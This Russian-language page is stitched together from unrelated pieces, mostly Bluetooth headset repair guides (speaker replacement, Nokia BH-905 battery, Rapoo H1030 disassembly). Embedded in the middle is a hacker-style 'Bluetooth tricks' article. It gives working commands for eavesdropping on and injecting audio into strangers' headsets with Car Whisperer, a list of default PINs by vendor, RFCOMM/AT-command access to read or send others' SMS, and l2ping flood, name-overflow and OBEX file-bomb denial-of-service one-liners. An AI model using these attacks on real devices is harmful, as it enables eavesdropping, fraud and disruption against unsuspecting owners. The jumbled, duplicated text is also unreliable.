Гарнитуры используются для передачи данных с телефона в наушники, тем самым освобождая человека от необходимости постоянно держать телефон в руках при разговоре. Как и любое другое устройство, гарнитуры разбираются.
Вам понадобится
- - маленькая крестовая отвертка;
- - неострый нож.
Инструкция
Вам понадобится
- - гарнитура Nokia;
- - заточенная пластиковая карта;
- - тонкая крестовая отвертка;
- - пинцет.
Инструкция
Беспроводная гарнитура, посредством которой звук с телефона передается непосредственно в ушную раковину человека, без сомнения очень удобное и практичное устройство.
С ее помощью руки остаются свободными и позволяют безопасно управлять автомобилем или просто делать повседневные дела, общаясь при этом по мобильной связи.
По мимо удобства, считается, что излучения от «голубого луча» намного безопасней мощного излучения, исходящего непосредственно от мобильного телефона. Для многих это очень весомый аргумент в пользу блютуз гарнитуры.
Например, его можно с успехом ремонтировать или модернизировать. Ниже в этой статье будет описан вариант ремонта блютус гарнитуры, а именно замена слухового динамика.
В каких случаях это может понадобиться?
- Когда при покупке гарнитуры, на максимальной громкости в шумном месте, ничего не можно разобрать из разговора, а вернуть обратно в магазин нет возможности.
- Когда со временем слуховой динамик частично или полностью выходит из строя.
Речь пойдет о замене слухового динамика.
Вот, на фото обычная гарнитура с проблемой громкости динамика.
Заменить этот динамик, даже на такой же оригинальный, может ничего не дать, поэтому замена будет происходить на слуховой элемент с дешевых, возможно с полурабочих наушников.
Главное подобрать элемент с самой высокой громкостью на выходе.
Для этого - если есть несколько наушников,- необходимо подключить каждые по очереди и оценить громкость звука при одинаковом уровне, выставленном на телефоне.
Но сначала нужно снять старый динамик. Делать это необходимо при выключенном приборе.
Когда динамик отклеен, аккуратно отпаиваем от него провода.
Длины оставшихся проводов будет вполне достаточно для комфортной пайки другого элемента. Можно еще немного, пинцетом подтянуть их, что даст дополнительную длину.
Разбираем наушник и отклеиваем его динамик.
Прикладываем припаянный динамик к корпусу, и по кругу, с натяжкой обматываем его черной ПВХ лентой.
Включаем устройство и проверяем его работу.
После такого ремонта, гарнитурой можно прекрасно пользоваться и звук будет намного лучше оригинального.
Беспроводные наушники (гарнитура или головные телефоны) относятся к аксессуарам в категории бытовой техники, за ремонт которой неохотно берутся сервисные центры, несмотря на то, что цена на некоторые модели весьма немаленькая. Вернуть к жизни неисправные наушники могут их владельцы. Для этого потребуется немного терпение, умение держать отвертку и паяльник в руках, а наличие в хозяйстве самого простого тестера только приветствуется.
В статье - , мы разобрали мини акустическую систему, рассмотрели ее конструкцию и устранили неисправность. Здесь и сейчас мы с Вами выполним ремонт беспроводных Bluetooth наушников Nokia BH-905.
В качестве примера рассмотрим самые распространенные неисправности для устранения, которых не потребуется глубоких теоритических знаний в области радиоэлектроники:
- не заряжается аккумулятор в наушниках
- аккумулятор заряжается, но время автономной работы явно меньше заявленного в инструкции
- не работает правый или левый наушник.
Большинство моделей наушников снаружи корпуса не имеют никаких видимых шурупов и винтов, и у многих владельцев решивших отремонтировать аксессуары самостоятельно возникает вопрос - как разбираются наушники .
Для того чтобы найти спрятанные винты в наушниках Nokia BH-905 нам необходимо отклеить кожаный амбушюр. Здесь следует отметить, что именно в этом месте прячут винты большинство производителей наушников.
Вывернув винты, убеждаемся в том, что такой разборки явно недостаточно для доступа к «внутренностям», но для замены динамика шаг необходимый. Для доступа к аккумулятору и плате беспроводных наушников необходимо зайти с другой стороны...
Снимаем для начала приклеенную декоративную накладку с надписью Nokia, аккуратно поддеваем и снимаем декоративный ободок.
Здесь прячутся еще четыре шурупа которые необходимо открутить.
Нашему взору открывается плата, аккумулятор и в глаза сразу же бросается неисправность - оторванный или плохо припаянный провод от аккумулятора. В наушниках применяется без корпусной аккумулятор - элемент батареи находится в пакете типа полиэтилена. Пакет герметично запаян. Если внешний вид аккумулятора напоминает надутый шарик, то это говорит о том, что внутри батареи идет химическая реакция с выделением газов. Вздутость это первый признак деградации аккумулятора.
Емкость таких аккумуляторов меньше исправных, соответственно, заряжаются и разряжаются неисправные аккумуляторы значительно быстрее исправных. Для замены неисправной батареи необходимо подобрать подходящий по размерам и характеристикам аккумулятор. В беспроводных наушниках используется аккумуляторная батарея 3,7 Вольт, 280mAh.
Время автономной работы Bluetooth наушников Nokia BH-905 с исправным аккумулятором достаточно продолжительное: 24 часа в режиме разговора через Bluetooth, примерно 25 часов в качестве Bluetooth-наушников. Включение шумоподавителя уменьшает время работы примерно на треть – 15 и 16 часов соответственно. При проводном подключении и включенном шумоподавителе можно слушать музыку почти 40 часов без перерыва.
Все отлично знают, что с помощью Bluetooth можно передать файл с девайса на девайс или подключить беспроводную гарнитуру. Но этим его возможности не ограничиваются. Имея при себе нужный инструмент, можно творить настоящие чудеса. Так почему бы не попробовать себя в роли фокусника?
Встроенный модуль технологии Bluetooth (или, если более официально, IEEE 802.15.3 ) давно перестал быть диковинкой. Стоимость модуля настолько мизерна, что не встраивает его в мобильный, ноутбук или КПК только ленивый производитель. Да и то – по соображениям маркетинга. Словом, Bluetooth используют практически все. Но лишь единицы знают, что, используя технологию, рискуют выдать свои конфиденциальные данные. Но начнем все-таки с хорошего!
Трюк 1: Используем BT для удаленного доступа к компьютеру
Как-то для проведения презентации я пригласил одну длинноногую подругу – нажимать кнопку «пробел», чтобы перелистывать слайды в Power Point. Это удовольствие стоило мне недешевого обеда и двух часов пустых разговоров с Barbie girl. После этого я твердо решил: в следующий раз проблему отсутствия пульта ДУ я обойду по-другому. И обошел, воспользовавшись мобильником! Да-да, прямо с телефона можно перелистывать слайды, управлять музыкой – и делать еще бог знает что. Главное, чтобы на мобильнике и компьютере были установлены BT-модули. Мало того, что сэкономишь деньги и силы, так еще и выглядеть будешь непростительно модно. Показать такой фокус способен каждый, кто заюзает утилиту
Bluetooth Remote Control
, не столь давно обновившуюся до версии 3.0. Она позволяет управлять компьютером с экрана любого мобильного телефона. Все очень просто. На компьютер ставится специальная серверная часть, а на телефон – программа-клиент, написанная на Java (требуется MIDP 2.0). После настройки нехитрой схемы ты сможешь дистанционно управлять мышкой и клавиатурой компа. И самое главное – получишь доступ к удаленному рабочему столу. Настоящий Remote Desktop прямо с экрана мобильного телефона! Ну, а с длинноногой подругой время можно провести куда более удачно. Bluetooth Remote Control
пригодится и здесь: чтобы поставить
романтическую музыку:).
Трюк 2: Контроль доступа с помощью BT
Если ты работаешь в комнате, где вместе с тобой сидит с десяток коллег, тебе наверняка приходилось блокировать компьютер, когда уходишь в другое помещение. А что? Не успеешь отойти, как кто-нибудь уже покопается на твоем харде. Расклад не самый приятный. В общем, лочить компьютер нужно обязательно, вопрос в том – как? Можно использовать стандартные возможности винды и по десять раз на дню вводить длиннющий пароль. Или же делать это красиво с помощью технологии Bluetooth
. Все просто, как дважды два. Отходишь от компьютера – и он тут же блокируется. Возвращаешься обратно – и лока как не бывало! Единственное условие: как в компьютере, так и в мобильном телефоне должен быть установлен модуль
Bluetooth
, а в системе заинсталена программа LockItNow
(ты легко можешь )
. Впрочем, приятелям и коллегам можно рассказывать о телепатических возможностях, а потом продавать секрет за деньги:). Кстати говоря, если под рукой BT-модуля нет, то его можно заменить телефоном, который поддерживает «синий зуб» (подключи по COM-порту).
Трюк 3: Снифаем BT-трафик из эфира
Мастерство начинается с понимания. Не возникало ли у тебя когда-нибудь желания посмотреть внутрь протокола и узнать, как происходит обмен данными через «синий зуб»? Прослушивание трафика Bluetooth
может выполняться только «в себя», то есть выполняется перехват исходящего и входящего трафика узла, на котором ты отдал команды. В этом деле немаловажное значение имеет так называемый Host Controller Interface (HCI), который позволяет обращаться к передатчику. HCI-узел обычно подключается к узлу драйвера устройства Bluetooth
(входящий поток) и к узлу L2CAP (исходящий поток). Windows платформа по умолчанию такой возможности не предоставляет. Однако сторонними разработчиками были выпущены
специальные драйвера, которые позволяют переводить стандартный донгл в сниффер
. Традиционно показательной в этом плане является работа FTS4BT Wireless Bluetooth Protocol Analyzer
, стоящего бешеные деньги. Продукт цепляет тем, что поддерживает новый Bluetooth v2.0 + EDR
, на базе которого работают современные устройства и, более того, способен на лету декодировать весь трафик из эфира, аккуратно отсортировывая аудио, данные протоколов приложений и многое другое. Понятно, что для снифинга (да и вообще) наиболее актуальны USB-донглы класса 1, радиус действия которых достигает ста метров.
Трюк 4: Работаем с BT-адаптером напрямую
Долгое время Bluetooth стеки для Windows предоставляли настолько скудные возможности , что программисты просто обходили эту платформу стороной. Этим объясняется, что большинство программ для серьезных забав c «синим зубом» разрабатываются под никсовую платформу. Некоторые из хитрых приемов мы разберем именно на это платформе, а именно FreeBSD (напомню, что на диске прошлого номера мы выкладывали свежий 7.0 релиз этой ОС). Сама технология Bluetooth официально стала поддерживаться на ней только с 5-ой ветки на базе подсистемы Netgraph. Радует, что большинство USB-адаптеров совместимы с драйвером ng_ubt (его необходимо завести перед подключением устройства). Попробуем?
- Подключаем устройство: kldload ng_ubt
- Копируем сценарий подгрузки стека в удобное место: cp /usr/share/examples/netgraph/bluetooth/rc.bluetooth /usr/local/etc/rc.bluetooth
- Копируем сценарий подгрузки стека в удобное место и запускаем: sh /usr/local/etc/rc.bluetoots start ubt0
Теперь хочу познакомить тебя с утилитой hccontrol. Это одна из основных программ для работы с BT-модулем. Именно она выполняет все операции, связанные с интерфейсом HCI, и имеет следующий синтаксис: hccontrol –n <имя_hci_узла> <команда>. Проверим функциональность нашего устройства, просканиров эфир на наличие устройств:
hccontrol –n ubt0hci Inquiry
Как результат, утилита выведет информацию о найденных устройствах, в том числе их MAC-адреса. Надо заметить, что каждое из устройств Bluetooth, будь то хедсет или обыкновенный телефон, представляет некоторый набор сервисов
. Базовый перечень включает в себя: CIP (Common ISDN Access), CTP (Cordless Telephony), DUN (dial-up networking), FAX (FAX), FTRN (Obex File Transwer), HSET (Headset), NAP (Network Access Point). Чтобы выяснить, какие сервисы предоставляет то или иное устройство, используется запрос на специальном протоколе SPD (Service Descovery Protocol). Сервер SPD работает непосредственно на машине-хосте и является исключительно информационной составляющей (повлиять на него
невозможно). Определить, какие сервисы предоставляют найденные устройства, можно с помощью соответствующей утилиты:
# spdcontrol -a
Трюк 5: Находим скрытые устройства
Итак, эфир мы просканировали и даже выяснили, какие сервисы доступны на активных устройствах. Но вот загвоздка! Некоторые девайсы никак не выдают своего присутствия, поскольку находятся в режиме «Undiscoverable mode» и не отвечают на широковещательные запросы. По настройкам своего телефона ты наверняка знаешь о подобной опции безопасности. Однако обнаружить такие устройства все-таки можно !
Самый известный прием их обнаружения – тупой перебор MAC-адресов, то есть последовательная посылка запросов на разные адреса из определенного диапазона. Для этого нужно использовать очень простую утилиту Redfang , которая перебирает последние шесть байт адреса устройства и таким образом обнаруживает спрятавшиеся устройства.
Другой вариант – это использовать пассивные методики : перевести свое устройство в режим ожидания, при этом назначить сети какое-нибудь привлекательное имя:
hciconfig hci0 name BT_YANDEX
hciconfig hci0 down
hciconfig hci0 up
hcidump -V | grep bdaddr
В результате отобразятся все входящие соединения, среди которых могут запросто оказаться товарищи со скрытыми идентификаторами.
Трюк 6: Перехватываем из эфира разговоры по гарнитуре
Одна из основных угроз радиотехнологий состоит в том, что данные можно перехватить. Первое, что приходит в голову, касаемо Bluetooth – прослушать разговоры людей, использующих гарнитуру
. И зачастую это реально! На хакерском фестивале What the Hack
в Нидерландах специалисты из группы Trifinite продемонстрировали, как при помощи ноутбука с Linux, специальной программы и направленной антенны можно подслушать, о чем говорит через Bluetooth-гарнитуру водитель
проезжающего автомобиля. Группа разработала программу Car Whisperer
(«Автомобильный шептун»). Возможности программы относительно невелики: прослушать можно только тех, кто забыл сменить заводские пароли доступа к Bluetooth наподобие
«0000» или «1234». Но таких бедолаг, поверь, очень и очень много! «Шептун» способен вклиниться и успешно пройти «pairing» устройств, получив информацию, передаваемую с каркита или хедсета на мобилку. Хочу обратить внимание: утилита позволяет не только получить информацию, передающуюся между хедсетом и мобилой, но и инжектить туда свою. Мы решили проверить возможности этой программы, скачав Car Whisperer
с сайта разработчиков.
hciconfig адаптер class 0x500204
# 0x500204 - это класс «phone»
В противном случае некоторые «умные» девайсы могут заподозрить неладное. Смотрим синтаксис утилиты, который выглядит следующим образом:
./carwhisperer «что внедряем в линию» «что захватываем из линии» «адрес устройства» [канал]
Мы взяли внедряемый файл прямо из папки утилиты, а в качестве выходного указали out.raw:
./carwhisperer 0 message.raw /tmp/out.raw
00:15:0E:91:19:73
На выходе получаем файл out.raw. Прослушать его в чистом виде нельзя: необходимо преобразовать в аудио формат, для чего потребуется дополнительная утилита. Подойдут довольно многие аудио конвертеры, например :
raw –r 8000 –c 1 –s –w out.raw –t wav –r
44100 –c 2 out.wav
Кроме прослушивания, можно войти в систему, просмотреть телефонную книгу и воспользоваться другими возможностями «свободных рук» с Bluetooth. Принцип такой: сначала осуществляется поиск активных устройств и проверка на предмет сервиса HS (Head Set). Далее исследуется MAC-адрес устройства и производится попытка подключения с использованием стандартного ключа. Если коннект установлен, то с устройством можно делать все, что угодно (в пределах доступного набора AT-команд).
На практике это выглядит следующим образом. Сначала осуществляется поиск всех активных гарнитур с помощью команды «sdptool search HS», которая выдает примерно такой ответ:
Inquiring ...
Searching for HS on 00:0A:3A:54:71:95 ...
Service Name: Headset
Service RecHandle: 0x10009
Service Class ID List:
"Headset" (0x1108)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 7
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Headset" (0x1108)
Version: 0x0100
Далее осуществляется попытка открыть RFCOMM соединение на SCO audio channel с помощью команды «rfcomm connect 2 00:0A:3A:54:71:95 1» и посылка нужных AT-команд. Приведу небольшую статистическую заметку о данных авторизации на некоторые модели беспроводных гарнитур:
Nokia (00:02:EE...) - pin="5475"
Audi UHV (00:0E:9F...) - pin="1234"
O"Neill (00:80:37...) - pin="8761"
Cellink (00:0A:94...) - pin="1234"
Eazix (00:0C:84...) - pin="1234"
Кстати говоря, тот же принцип может использоваться для несанкционированного подключения и ко всем остальным устройствам . При помощи AT-команд и протокола RFCOMM можно, к примеру, прочитать SMS-сообщение или даже отправить его с чужого телефона на платный номер, поставив владельца девайса на деньги. Будь бдителен!
Трюк 7: DDoS BT-устройств
Подход традиционен. DDoS реально провести, когда хостовый девайс («master») выполняет работу, во много раз превосходящую клиентскую. Такую ситуацию называют атакой на отказ в обслуживании (Denial Of Service). Она может подвесить телефон или привести к быстрой разрядке батарейки. Провести атаку можно несколькими способами. Начнем со стандартных средств. Самое очевидное – пинговать девайс пакетами большого размера. Сделать это можно, указав утилите l2ping в качестве параметра «-s» флаг:
# l2ping -s 10000 -b "МАС адрес"
Сама программа, как ты уже понял, является родственником ping в bluetooth среде и служит для проверки связи и наличия соединения. Другой способ, принципиально отличающийся от первого, состоит в использовании приема «fuzzing» – своеобразной техники-лотереи, потому как заранее неизвестно, что произойдет. Это новое веяние в выявлении уязвимостей в продуктах без анализа исходных кодов. Полагается техника только на интерактивное общение с объектом на понятном для него языке, но с абсолютно хаотичными аргументами и значениями-переменными. Хакерской задачей будет сделать так, чтобы видимое название телефона состояло из достаточно большого числа элементов. При обнаружении его «master"ом» в 70%
случаев происходит переполнение или отказ в обслуживании:
hciconfig hci0 name `perl -e "print "ash" x 3137"`
# Команда для линукса
hccontrol –n адаптер change_local_name “новое имя”)
# пример для FreeBSD
Многие телефоны по-прежнему не могут переварить файлы-бомбы. Вот простая реализация подобного приема.
- Сначала готовят «бомбу». Известный пример:
echo `perl -e "print "skvz" x 3137"` > file - После чего используют модифицированную утилиту для взаимодействия с OBEX – USSP PUSH (xmailserver.org/ussp-push.html)
./obextool push file 00:0A:3A:54:71:95 `perl -e "print "skvz" x 3137"` 3
Данную инструкцию прислал Пётр Слепцов, вот что он пишет:
«Наушникам более двух лет, аккумулятор, естественно, уже «устал» и заряд держит весьма недолго. Решил разобрать эти беспроводные наушники, чтобы понять устройство, а в дальнейшем и заменить старый аккумулятор. Думаю поставить, если позволит место, такой же никель-кадмиевый плоский аккумулятор, но ёмкостью побольше.... В интернете не нашел, как разобрать наушники Rapoo H1030. И вот, родилась такая инструкция:)...».
Итак, как разобрать и ремонтировать беспроводные наушники Rapoo H1030? Инструкция.
1) Сначала нодо снять мягкую подкладку.
2) Теперь, между центральной вставкой с надписью Rapoo и серой большой крышкой, просуньте что-то тонкое (отвёртку, скальпель или лезвие ножа), и насколько это возможно, аккуратно, поджимая защёлочки тонкой отвёрточкой (см. фото), снимите крышку наушника. У меня, кстати, поскольку я делал это первый раз и не знал в каких местах находились защёлки, оторвалось одно крепление.
3) Снять планку с надписью Rapoo. Она легко снимается и даже не закреплена, а просто вставляется штифтами в отверстия.
На фото думаю всё видно, главное смотрите где и в каком месте расположены защёлки, их надо поддеть, слегка отогнуть, создав при этом натяжение, тогда детали наушников легко расщепляются.
А что касается ремонта беспроводных наушников, то здесь, как видите, конструкция простая: стоит маленькая платка с чипами и аккумулятор. Электроника, как правило, в таких наушниках надёжная, а самый ненадёжный элемент - это аккумулятор, его и приходится периодически менять, плюс, конечно, могут быть различные обрывы проводков, ну это легко устраняется.
Как видите на фото выше, здесь стоит плоский аккумулятор - на 3,7 V 360 mAh, а если выломать некоторые пластиковые перегородки - то места в корпусе наушника достаточно, чтобы туда вставить аккумулятор на 700 mAh и более, например с телефона "Nokia".
Собирать беспроводные наушники намного легче чем разбирать, т.е. всё в обратном порядке надо назад просто позащёлкивать, если, конечно, эти защёлки небыли сломаны. Тогда придётся вклеить пластиковые стоечки, сделать в них отверстия и скрепить делали маленькими саморезами, из магнитофонной кассеты например.
Теперь что касается самых наушников, если кому-то будет интересно. Задумка, сделать беспроводные наушники, хороша и вещь довольно удобная, поскольку не привязан жёстко к компьютеру, можно отойти от него, пойти попить кофе, например, не прерываясь прослушивать свою любимую аудиокнигу или музыку, и не мешая при этом окружающим.
Но, в этой модели есть и некоторые недостатки: микрофон не вынесен, а встроен в корпус самих наушников, что искажает звук и уменьшает их чувствительность. Для прослушивания музыки это никак не отразится, а вот при общении в Skype - уже существенный недостаток. А также хотелось бы иметь побольше ёмкость аккумулятора.
Время работы наушников, в варианте модели Rapoo H1030 - 8 часов, при 50% громкости, и 4 часа - при 80%, а когда аккумулятор подносится и того меньше. Зарядка, хоть и не продолжительная - около 2-х часов, но хотелось бы её делать пореже. Поэтому, при выборе наушников, выясните, для чего они вам нужны. Возможно лучше доплатить и взять наушники с хорошим микрофоном, или купить вот такие, эконом вариант, а при общении в Skype использовать обычные проводные наушники.